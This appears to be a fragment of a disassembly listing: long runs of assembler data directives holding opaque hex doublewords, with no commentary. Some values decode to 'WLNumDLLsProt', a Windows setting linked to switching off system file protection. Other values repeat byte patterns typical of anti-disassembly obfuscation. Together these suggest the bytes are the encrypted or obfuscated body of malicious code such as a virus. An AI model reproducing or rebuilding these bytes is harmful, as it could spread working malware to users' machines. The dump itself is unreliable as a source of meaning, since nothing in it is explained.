		dd 141ABACEh, 74493FEAh, 0A16F657Bh, 28634128h,	5E04A7E6h
		dd 0DA7E138h, 0AAF96858h, 28FD4502h, 5007B286h,	6A4720BAh
		dd 8C08616Bh, 7B375429h, 560FABA4h, 6B2EF7Dh, 0BFEE3855h
		dd 1AB85043h, 471CA1CFh, 335422BAh, 0E263766Ah,	2674452Bh
		dd 590996A4h, 0AA0AC6Bh, 0B1AC7D5Dh, 38BF5F0Ch,	4606A486h
		dd 7D476DF1h, 0F36D6970h, 0E25h, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2AFBE9h, 798D8900h, 0FC062A06h, 92D1F3BAh, 6AC08B08h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0A270C352h, 1A810F51h, 0E8000000h, 14h, 81486926h
		dd 9EBD657Ch, 63BDA868h, 0AD96F7BBh, 0F97C550Bh, 0BD835B5Bh
		dd 62A2451h, 83097500h,	2A2A89BDh, 13740006h, 0C08B5350h
		dd 1B8h, 0B9D8D00h, 0FF062CBAh,	83585BD3h, 2A2A89BDh, 11740006h
		dd 1B85350h, 8D000000h,	2CB8BC9Dh, 5BD3FF06h, 0DA81F958h
		dd 42AD6168h, 0C08BD78Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 37C35747h, 29470DC0h,	2A330595h, 0BD036006h
		dd 62A2C11h, 24DDB58Bh,	8361062Ah, 2A170DBDh, 840F0006h
		dd 1D4h, 1FF99D8Bh, 0BD83062Ah,	62A0E09h, 0C1840F00h, 0F000001h
		dd 85h,	6BBA6000h, 8B7BC5F7h, 2A0E0985h, 0D2816606h, 0E8057828h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 4063C351h, 68A0F37h, 29000000h
		dd 2A25B98Dh, 6090FC06h, 5250D18Bh, 850F310Fh, 0
aZxaps		db 'ZXaPè',7,0
		align 4
		dd 7059500h, 0ABF2366Fh, 0E85A5260h, 11h, 0FB0F25B9h, 0F57536A8h
		dd 0BB5E2743h, 0BBE64A60h, 5A615BA8h, 9D895190h, 62A1B01h
		dd 73858D5Bh, 8B062A4Eh, 2A0C859Dh, 14E89006h, 69000000h
		dd 49A07FB7h, 713B040Eh, 42CD23B6h, 7AC04ED4h, 5249B5D3h
		dd 5A5A5B52h, 60576050h, 850F5B61h, 6, 310F5250h, 9061585Ah
		dd 2585958Bh, 858D062Ah, 62A4E51h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 8BC35343h, 8ADF6604h, 0CE990D5h
		dd 42000000h, 3E344886h, 1B2157BEh, 5062B963h, 0E990D08Bh
		dd 8, 0B196F32Ah, 0F8267C6Ch, 17F58531h, 95FF062Ah, 62A0B35h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7AC35343h
		dd 0C4839DD1h, 9E90Ch, 0EBAE0000h, 85D34A47h, 80595726h
		dd 858DC4C3h, 62A4E51h,	6E9h, 299B5900h, 5069DFF3h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 50B9C355h, 0A0FB47C2h, 0E96018B5h, 0Dh, 0AEFA54C0h
		dd 0ADD52B31h, 851D88h,	75BA6611h, 26A61B7h, 0FDCA8166h
		dd 1495FF70h, 89006AEDh, 2A2B5185h, 85896106h, 62A1465h
		dd 4E8485C7h, 1062Ah, 0B5890000h, 62A1505h, 0EED2BB96h
		dd 5050022Ch, 0FD8B752h, 59516031h, 8F0Fh, 5A610000h, 6A9658h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0C89337C3h, 6E82A2Ah, 0C3000000h, 0EF91D740h, 58F0FC1h
		dd 66000000h, 8DE9E381h, 35B5895Ah, 6A062A4Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 87C7C352h, 0A19D8B8Fh, 83062A10h, 2A3415BDh,	850F0106h
		dd 40h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 0B5C35141h, 58EDA70h, 5F883F9h, 16850Fh, 9D890000h
		dd 62A2825h, 0E119D33h,	0B8062Ah, 0BA000000h, 0BD1617Dh
		dd 0E01BD83h, 0F00062Ah, 2B84h,	13E900h, 0B2C10000h, 0EC4FB834h
		dd 0A98C07CCh, 70950FDFh, 0B593D2FAh, 81666009h, 0FFDB80D2h
		dd 2A0E0195h, 0D2816106h, 577E2EC4h, 839BD83h, 0F00062Ah
		dd 3A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D8BD111h, 62A0E91h, 0B8h, 0DE900h
		dd 2B280000h, 2DADB832h, 2EAEA15Eh, 60DDAE2Eh, 8B98D89h
		dd 0BB66062Ah, 858B51A1h, 62A0F59h, 25C690BBh, 2C0834Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h
		dd 17A6E7B5h, 89DA8B31h, 2A4E2D85h, 0C69FB306h,	0B7B2FF00h
		dd 27C985C6h, 6A53062Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 934DC355h, 5E8D01Eh
		dd 4C000000h, 0BED4F249h, 2AA19D89h, 0E85B062Ah, 4, 0FCB148D8h
		dd 0F525050h, 280h, 0F5B5000h, 0FA8B6031h, 8B585A61h, 66042444h
		dd 8BDA8Bh, 0F525060h, 12E831h,	81540000h, 4E3C6DD0h, 12BC30F8h
		dd 0AF78557Fh, 39761CC9h, 0E8585A5Ah, 7, 3AA24645h, 0BF645E26h
		dd 5B6D77B1h, 4489615Ah, 0B1B60424h, 0B1850958h, 0B3062A34h
		dd 0C9B5FF1Ah, 0F062A22h, 38Eh,	0D2B70F00h, 81A9858Dh
		dd 6A062Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 1B0F45C3h, 63FA0301h, 0FD03E0Eh, 380h, 0D1B70F00h
		dd 5151D0FFh, 5BD3BF0Fh, 3985895Bh, 0B062A34h, 2A0D0595h
		dd 0B9BD8306h, 1062A2Ch, 0E6850Fh, 89610000h, 2A323585h
		dd 0C985C606h, 45062A27h, 688FCE80h, 0CB49F472h, 1B8A0Fh
		dd 52500000h, 310FD98Ah, 0EE9h,	0DE15BC00h, 0A4FE74EFh
		dd 0C3B2F629h, 5A33346Bh, 24048158h, 0F164450h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3C35646h, 0DD70CEF7h
		dd 950B1EE7h, 62A2B19h,	22C9B5FFh, 8DF5062Ah, 2D81A985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0E08C30A8h, 20BAD0FFh, 6A7643F8h, 8E900h
		dd 54B80000h, 0AF433DD2h, 0D0FF56AAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0D7C35242h,	22CD8D89h, 12E8062Ah
		dd 19000000h, 1F4FE1A6h, 0E60716AFh, 0D837C39Eh, 0DA0CF444h
		dd 5B85B722h, 229DBD83h, 0F01062Ah, 0E685h, 4890F00h, 66000000h
		dd 8B8F53BAh, 2A0F5985h, 5E806h, 306E0000h, 8BE94B12h
		dd 9E85AD0h, 7C000000h,	2A9B046Eh, 0FA71B77Bh, 0E95BD88Bh
		dd 54h,	8B50E0B6h, 240489D7h, 0B0C105BAh, 0E9146A46h, 0Ch
		dd 0A7485F2Ah, 8824407Ah, 73B6C16Ah, 343995FFh,	9D89062Ah
		dd 62A1605h, 0BFD958Bh,	6A58062Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 6803C350h
		dd 0D32DC097h, 0F003880h, 0FFFFA585h, 57006AFFh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0B05F22B2h, 890FF96Fh, 3, 0C633D380h, 6A0100h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7B650AC3h, 734ED958h, 45B52924h, 61062A03h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7BC35747h, 522CC7CFh
		dd 0A6DEBB66h, 4CA8166h, 55BD83DCh, 62A2Bh, 59840Fh, 6AF80000h
		dd 2D8589FFh, 0F5062A05h, 343995FFh, 6A062Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 25D36AC3h
		dd 55D63781h, 999958Bh,	0C4E9062Ah, 0E8FFFFFFh,	11h, 0A1BC35E6h
		dd 94F7199Ch, 0E20B0CAh, 0A393C07Dh, 805ABACEh,	0C75B6C29h
		dd 2A2B5585h, 106h, 8589F800h, 62A4E39h, 0DE9h,	50439000h
		dd 0D368DFECh, 9AAC8EA3h, 50900AABh, 2820F52h, 0B2000000h
		dd 8B310FC3h, 50585AD3h, 0BA665250h, 310F8519h,	9E8h, 0ABEAC500h
		dd 44AAB53Ah, 830F9DBEh, 0
		dd 90585A5Ah, 60DBBF0Fh, 99D03h, 56A062Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 29C35141h, 1F23A8BEh
		dd 0B6C8BB66h, 4E51858Dh, 6A062Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 90F918C3h, 6650FE8Ah
		dd 6A90D38Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 44DDC351h, 4800Fh, 0BA660000h
		dd 858D35B1h, 62A4E41h,	74A6BB66h, 0FE9h, 0B8A28C00h, 9553A13Dh
		dd 4834821Ch, 76BBB462h, 0D38B6690h, 26B35250h,	0C780905Ah
		dd 0D595FF54h, 8B062A2Ah, 2A34E59Dh, 0D38B6606h, 791C8D8Dh
		dd 0BD31062Ah, 62A2D25h, 1174C00Bh, 4E51858Dh, 0FF50062Ah
		dd 6F8589D1h, 0EB062A4Eh, 6F85C70Ah, 0FF062A4Eh, 6AFFFFFFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0AB41C350h, 4BF6804Bh, 0FAE556Dh,	6AD0B7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 9EF21BC3h, 58C49AB7h, 3820Fh, 0B70F0000h, 0B58961D6h
		dd 62A24A9h, 27C985C6h,	0E94D062Ah, 0Bh, 0CBD97FE6h, 0C220147Fh
		dd 0E8D997F7h, 4, 0A43576A8h, 12E860h, 0C380000h, 0CA4D325Eh
		dd 0C02CDD7Fh, 3DC445A8h, 0B13CBE55h, 5C8BE66h,	0BDBB6659h
		dd 505061F9h, 0FF08A52h, 6E931h, 67F50000h, 0FF64AD39h
		dd 448B585Ah, 12E80424h, 0D9000000h, 57148B9h, 0F83FEEFBh
		dd 4B3878Bh, 6EC867CEh,	0AE9B8h, 0D0270000h, 0CBB91A53h
		dd 4F84989Fh, 8B008B5Bh, 244489D0h, 60525004h, 5B56C78Ah
		dd 0E8310F61h, 10h, 0D351FAB9h,	627D505Ah, 0F87003D7h
		dd 8FFD2DF2h, 16280BBh,	585A5A36h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 8CDE20E0h
		dd 0D7BF0FD6h, 1F85B5FFh, 8DF9062Ah, 2D81A985h,	8BD18B06h
		dd 0BBD0FFDFh, 73FD117h, 518589h, 6A062Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B44F1C3h
		dd 2A267995h, 0C985C606h, 45062A27h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 12C35242h, 697C6595h, 0BF0F2C76h
		dd 8D9589DFh, 89062A0Fh, 2A13B185h, 0DF4A6806h,	37B6640Dh
		dd 1F240481h, 532A648Ah, 605BDD8Ah, 89D58A60h, 2A2019BDh
		dd 880F6106h, 4, 0FBFBA66h, 0C9B5FF61h,	66062A22h, 0AE32E281h
		dd 81A9858Dh, 9D8B062Dh, 62A2641h, 0BD89D0FFh, 62A0D85h
		dd 28958589h, 0B70F062Ah, 6AD28BD2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0E8CCC350h
		dd 8C666D09h, 6E8D9h, 0AEC90000h, 0BCBFB4C6h, 0CD58D89h
		dd 0F65B062Ah, 840F04C1h, 197h,	218D0Fh, 0E8600000h, 13h
		dd 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h, 5E396217h
		dd 1362C181h, 8B6123C6h, 2A25FD95h, 0CDE906h, 85090000h
		dd 62A0321h, 12E953h, 7A080000h, 5EC9114Bh, 0E3136E25h
		dd 0A1F4C767h, 23A1ADE4h, 0DB58B5Ah, 89062A25h,	2A25518Dh
		dd 80C68106h, 0B3000011h, 0D1BD8383h, 62A1Bh, 19850Fh
		dd 0B8600000h, 348BC3B4h, 1901B529h, 6661062Ah,	0E9D688BBh
		dd 6Fh,	83D2B70Fh, 840F003Eh, 63h, 6859529h, 8E0F062Ah
		dd 5, 12F28166h, 6A60DAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F4C03C3h, 382h, 0EACE8000h
		dd 8B66146Ah, 3995FFD6h, 89062A34h, 2A2B419Dh, 9D896106h
		dd 62A0649h, 0FFFFA2E9h, 8800FFFh, 57000000h, 12DD958Bh
		dd 0C75A062Ah, 106h, 83D98A00h,	2A4E39BDh, 850F0506h, 8Bh
		dd 0D3816660h, 0D2B13518h, 95B58B61h, 66062A28h, 0B9DC5EBAh
		dd 64h,	81D08B66h, 3FF049DAh, 0E83E806Bh, 0E840Fh, 0DB810000h
		dd 46A182D0h, 32E9h, 0DFBF0F00h, 0C2057E80h, 41840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 29E57C3h, 2BC81AE0h,	46271392h, 49A2E780h, 0FFAF850Fh
		dd 9D89FFFFh, 62A3261h,	0EE9h, 659D8B00h, 89062A24h, 2A19BDB5h
		dd 58D88A06h, 9D9D0350h, 5A062A12h, 2C4DBD83h, 0F00062Ah
		dd 0EB84h, 51B58900h, 60062A34h, 0C6D6DB80h, 2A27C985h
		dd 95335406h, 62A16A1h,	0A7710F68h, 6E8CFh, 0D0420000h
		dd 0EC5F064h, 8F0F5250h, 0
		dd 0D18A310Fh, 815A585Ah, 0CFFB2434h, 5E930E9h,	2D000000h
		dd 0D9858CC3h, 22C9B5FFh, 8F0F062Ah, 1Bh, 58D0160h, 0E9062A23h
		dd 0Eh,	6C9FBF4Dh, 4F6C2A72h, 398E86F0h, 8D6102F6h, 2D81A985h
		dd 0D8D8906h, 0FF062A05h, 7E853D0h, 0BF000000h,	0EC56FDEAh
		dd 0BB36A5h, 5A61E1DAh,	50006A5Ah, 0FF5AD48Ah, 2A2C4DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 610A9549h, 0FFEAD680h, 558D89D0h, 61062A12h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7AC35545h
		dd 0BD896C01h, 62A2815h, 0FA585C7h, 1062Ah, 0C6800000h
		dd 0BD8960A6h, 62A20A5h, 28504A68h, 82BB6694h, 2404818Eh
		dd 6BD7B036h, 0A2F28166h, 8BFF6ABAh, 4995FFD9h,	0E9062A28h
		dd 0Ch,	0E4403A6Ch, 0E0957F52h,	9EF83CB7h, 0BB50F561h
		dd 2B06348Ah, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 4B74C352h, 1321DFBBh
		dd 78A0FFCh, 60000000h,	0D980D78Bh, 858B61A4h, 62A3589h
		dd 0BE8h, 1F4FE100h, 0E60716AFh, 0D837C39Eh, 11E5BD89h
		dd 0F5B062Ah, 8Eh, 0FC00B00h, 3884h, 0DB51BA00h, 81663384h
		dd 0FFFA6DEAh, 2A34CD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 89EFDE15h
		dd 2A222585h, 67BB6606h, 8D85C767h, 1062A1Ah, 89000000h
		dd 2A1471B5h, 418D2906h, 83062A25h, 2A117DBDh, 840F0006h
		dd 31h,	61C1B360h, 1F3D95FFh, 6A062Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 62431AC3h
		dd 9C23B7EDh, 12BA66C3h, 35BD83C0h, 62A28h, 3A840Fh, 0FE90000h
		dd 0C3000000h, 4AE5E0B3h, 1C27A1C9h, 67979574h,	95FF070Bh
		dd 62A194Dh, 13E960h, 0C87C0000h, 6CBF646Dh, 0D6647E92h
		dd 97541B94h, 7F298F0Ch, 919D2322h, 61062A15h, 1FD1BD83h
		dd 0F00062Ah, 7284h, 83D98A00h,	2A0025BDh, 850F0006h, 63h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5FC35242h
		dd 604AB7Ch, 8C0F88E4h,	2, 95FFDF8Bh, 62A2D4Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h, 3231D7E0h
		dd 8E0FF296h, 0Bh, 5830Fh, 81660000h, 836774E3h, 2A303DBDh
		dd 840F0006h, 54h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 4C35343h, 8AF41A34h, 0DBBF0FF9h, 27898581h
		dd 4003062Ah, 11E90000h, 0F3000000h, 312BBDA0h,	0B646113Eh
		dd 6A4B655Ah, 1D1EB6A2h, 1A018581h, 4003062Ah, 0B5890000h
		dd 62A31F1h, 8D31310Fh,	62A1549h, 5E7C8D8Dh, 0BA66062Ah
		dd 189642Eh, 89D8BF0Fh,	2A35799Dh, 89C23306h, 2A255985h
		dd 0F5958B06h, 89062A17h, 6A0441h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 3454DAC3h, 66532DAAh
		dd 853BE381h, 60310F5Ah, 72D18166h, 14E9CFh, 0AC9A0000h
		dd 9DB80286h, 39EC4A46h, 6E35C8B4h, 611CE263h, 8D61A31Bh
		dd 2A5E9C8Dh, 2810F06h,	0B7000000h, 0F01896Fh, 0C233DABFh
		dd 68D0Fh, 0BD890000h, 62A1FEDh, 418909B6h, 830DB204h
		dd 2A0D49BDh, 840F0006h, 38h, 0D01958Bh, 95FF062Ah, 62A0DDDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E5C35646h
		dd 333E4396h, 0E3F1DB81h, 9D8B2887h, 62A34DDh, 124DBD83h
		dd 0F01062Ah, 4C85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 6A1C695h, 26E9DEBFh, 66000000h
		dd 8BE165BBh, 2A5FBEB5h, 6C706h, 8B000000h, 2A5D47B5h
		dd 6C706h, 0CF000000h, 8BD0BF0Fh, 2A0CC59Dh, 8DBD8306h
		dd 62A1Ah, 13F840Fh, 958B0000h,	62A15A5h, 21A1BD83h, 0F01062Ah
		dd 0FB85h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9801EE65h, 8D8B5F46h, 62A4E2Dh, 1C6CAB7h
		dd 0EB816600h, 0B70F1C9Ch, 6A60D6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 5FBF0DC3h
		dd 90E8BD77h, 8E8h, 8FABE500h, 0F65C21DEh, 0DBBF0F0Fh
		dd 0BAAB685Bh, 0AE8BC2Eh, 3C000000h, 3115F136h,	319673E0h
		dd 0A5B35023h, 4815A5Bh, 0D145D524h, 8E843h, 13910000h
		dd 0F33B1E2Ch, 0B529F4D1h, 62A257Dh, 8BFF6A5Bh,	2A0B599Dh
		dd 58B0F06h, 66000000h,	6062D281h, 284995FFh, 958B062Ah
		dd 62A2325h, 10E961h, 0E6A80000h, 0C85DDAE9h, 0D6FE16C4h
		dd 14CAC07Eh, 95FF1DCDh, 62A256Dh, 8850Fh, 870F0000h, 2
		dd 0FFBBD88Bh, 8B092019h, 2A4E2D8Dh, 559D8B06h,	0FE062A03h
		dd 21CF8001h, 2869BD83h, 0F01062Ah, 2485h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 4D811B8Fh, 0C6BF3E17h, 0FC08B8Bh, 0BD83DFB7h, 62A2451h
		dd 83097500h, 2A2A89BDh, 1A740006h, 0C08B5350h,	2789858Bh
		dd 8589062Ah, 62A2789h,	0BB699D8Dh, 0D3FF062Ch,	0BD83585Bh
		dd 62A2A89h, 50187400h,	89858B53h, 89062A27h, 2A278985h
		dd 589D8D06h, 0FF062CB8h, 66585BD3h, 9509D68Bh,	62A050Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 22C35545h
		dd 0D5587794h, 8914963Ch, 0C5858923h, 89062A1Eh, 2A0C999Dh
		dd 6AC08B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0A5A7C357h, 0BD87A51Fh, 1A8DBD83h
		dd 0F00062Ah, 3885h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 4B0FF569h, 0B58911D4h
		dd 62A16B1h, 1F4DBD83h,	0F00062Ah, 484h, 8B66F800h, 8DBD83DAh
		dd 62A1Ah, 1B840Fh, 958B0000h, 62A1315h, 1319BD83h, 0F00062Ah
		dd 884h, 5850100h, 0B6062A33h, 8DBD83EAh, 62A1Ah, 1F840Fh
		dd 850F0000h, 6, 8E92F281h, 0BD833777h,	62A1319h, 6840F00h
		dd 8B000000h, 2A11CD9Dh, 8DBD8306h, 62A1Ah, 4C840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 1016CEC3h, 68DAE5Eh,	5E813h,	0D8060000h, 521CCDADh
		dd 2D518D31h, 5A5A062Ah, 81BD83F8h, 62A2Ch, 8840Fh, 7DB60000h
		dd 2F9958Bh, 0BD83062Ah, 62A1A8Dh, 44840F00h, 89000000h
		dd 2A1B29BDh, 0C5BD8306h, 62A19h, 31840Fh, 81660000h, 0FC61F2C2h
		dd 0E4195FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 50D833C3h, 0D99D8BEBh, 8B062A27h
		dd 18E0FC0h, 0FC000000h, 2451BD83h, 7500062Ah, 89BD8309h
		dd 62A2Ah, 53501A74h, 858BC08Bh, 62A1A01h, 1A018589h, 9D8D062Ah
		dd 62CBBD0h, 585BD3FFh,	2A89BD83h, 7400062Ah, 8B535018h
		dd 2A1A0185h, 1858906h,	8D062A1Ah, 2CB8719Dh, 5BD3FF06h
		dd 91850158h, 0BB062A23h, 3C4932B6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 66C35545h, 8166E1D3h, 8BBE94E3h
		dd 958B60C0h, 62A3449h,	2361C38Ah, 2A2C0595h, 8DBD8306h
		dd 62A1Ah, 376840Fh, 7E80000h, 3C000000h, 94657D65h, 0CA81BCE0h
		dd 61BF7B38h, 0B9BD835Ah, 2062A2Ch, 13840Fh, 0BF0F0000h
		dd 4DBD83D2h, 1062A12h,	3850Fh,	0D2800000h, 6A60F7h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E90633C3h, 68D8DB3Ah, 0E9EDD312h, 0Ah, 0F3B3A438h
		dd 0C0B86F49h, 8D8B1C44h, 62A4E2Dh, 0CE8h, 6E83EE00h, 0F888D2C1h
		dd 0D19086DAh, 99CB81DBh, 5A7723EFh, 8B6601FEh,	9C1868DFh
		dd 9E8F51Ch, 0D4000000h, 16BB1478h, 4A2D81FBh, 13E9h, 0D12C9C00h
		dd 0FD93DA7Fh, 51BFFF05h, 0E6E17FFEh, 5DA4A2C0h, 2404815Bh
		dd 0AE36468h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	0E1C35343h, 966C438Ch, 0BD939A44h, 86DF80ECh, 880FFF6Ah
		dd 8, 28D0Fh, 61600000h, 6800Fh, 0B5890000h, 62A11BDh
		dd 284995FFh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 2BE477C3h, 0F866975Eh, 66612BB7h
		dd 0BD8DD18Bh, 62A3519h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0DBC35343h, 0BF63721h, 2A32899Dh, 1C4F8B06h
		dd 6AD9B70Fh, 0C3816601h, 0E9506F5Ch, 9, 66663D47h, 43054919h
		dd 240C8937h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0DEC35242h, 4E550DAEh, 34B59D8Bh, 858D062Ah, 62D437Bh
		dd 185D9523h, 0D0FF062Ah, 7E96050h, 0B4000000h,	0B45E97Bh
		dd 0BD8B3C2Dh, 62A2149h, 4F8B5B61h, 35958B20h, 6A062A2Bh
		dd 0A5858903h, 50062A29h, 0BB1A9CBBh, 240C8929h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 99C35242h, 3C93EB3Ah
		dd 0DBBF0F34h, 437B858Dh, 6A062Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 8C0459C3h, 21F98D89h
		dd 0D0FF062Ah, 8DD08B66h, 2A3519BDh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A3D09778h
		dd 0A17E19B5h, 223D8589h, 958B062Ah, 62A2575h, 6A1C4F8Bh
		dd 0E1853101h, 50062A1Eh, 0C89FC8Ah, 199D8B24h,	0F062A15h
		dd 688h, 458D8900h, 8D062A23h, 2D437B85h, 10E906h, 0D61D0000h
		dd 9F3F2B13h, 38DF3CECh, 66E2FD9Eh, 0D0FF031Dh,	32299D31h
		dd 0D68B062Ah, 89204F8Bh, 2A04F59Dh, 19B58906h,	6A062A16h
		dd 0E2816603h, 0BD299DBAh, 62A29B1h, 198B0F91h,	0E9000000h
		dd 14h,	0EE5A29A0h, 516FD868h, 5211528Eh, 0FA5178Ah, 0AAABFA7Bh
		dd 0A7BA6650h, 8DF9917Dh, 2D437B85h, 0D0FFF806h, 8B39F280h
		dd 2A4E2D8Dh, 1FEFC06h,	8464ABAh, 2D858B28h, 0E8062A4Eh
		dd 0Fh,	1279DBE1h, 5FADE21Ah, 0CD3BC095h, 12D146Ah, 2A0ED5B5h
		dd 0B70F5A06h, 0F00FEDAh, 68Fh,	5950100h, 0F062A17h, 0B8Ch
		dd 6E900h, 0B2F0000h, 0AC46D7CFh, 0B531016Ah, 62A2CC9h
		dd 6A03E768h, 0DA8B66E8h, 18243481h, 6617959Ch,	858DD78Bh
		dd 62D4385h, 25F99589h,	0D0FF062Ah, 1F4DBD83h, 0F00062Ah
		dd 7F84h, 0CE900h, 50FB0000h, 8569ED94h, 1580C094h, 0D281D67Ah
		dd 0F651B36h, 3415BD83h, 0F01062Ah, 5B85h, 8D8DFC00h, 62D438Fh
		dd 12E960h, 0B5480000h,	80893330h, 2B8B5C44h, 0DFEB86F7h
		dd 9DA8C8D1h, 6398501h,	0B661062Ah, 80036AC8h, 16A62E6h
		dd 65C4F2BAh, 8BD1FF6Bh, 2A00219Dh, 0F016A06h, 16AD3B7h
		dd 0FF33C380h, 9D2951D1h, 62A05C5h, 6EC0E85Bh, 0B529FA31h
		dd 62A2621h, 0F48A206Ah, 9D89FF6Ah, 62A0055h, 8E860h, 0EB200000h
		dd 7ED2E721h, 615AA9A4h, 284995FFh, 0D38B062Ah,	0B8h, 0B9B58900h
		dd 0B062A10h, 38840FC0h, 0B000000h, 2A0ED59Dh, 75BD8306h
		dd 62A12h, 25840Fh, 0EA810000h,	29AF52BDh, 239595FFh, 14E9062Ah
		dd 4D000000h, 0DC088F05h, 0CD098859h, 3A7FF140h, 0D0C50A11h
		dd 8B84E8A1h, 2A0F5985h, 0DE906h, 0C2670000h, 7E1644h
		dd 0CEEF9810h, 0C6284D98h, 8D090000h, 62A1A35h,	2850F58h
		dd 8B000000h, 0D98C66D7h, 13E1BB66h, 0F04C1F6h,	7F84h
		dd 0C8B0F00h, 0F000000h, 688h, 0AD9D3100h, 8B062A13h, 2A195195h
		dd 62E906h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 938E40C3h, 8AA06A51h, 0E780C9DDh
		dd 0DB58B2Ah, 6A062A25h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0BDF0C351h,	24C466FBh
		dd 80C681DCh, 89000011h, 2A27719Dh, 6C706h, 0F9000000h
		dd 0DE9605Eh, 58000000h, 0C3D3088Ch, 58F6DFDAh,	11D3560Ah
		dd 0B2DB58Bh, 8361062Ah, 840F00F8h, 0B7Ch, 6880Fh, 0C2810000h
		dd 30AC31A6h, 0F01F883h, 1A785h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0BA7AA1F2h
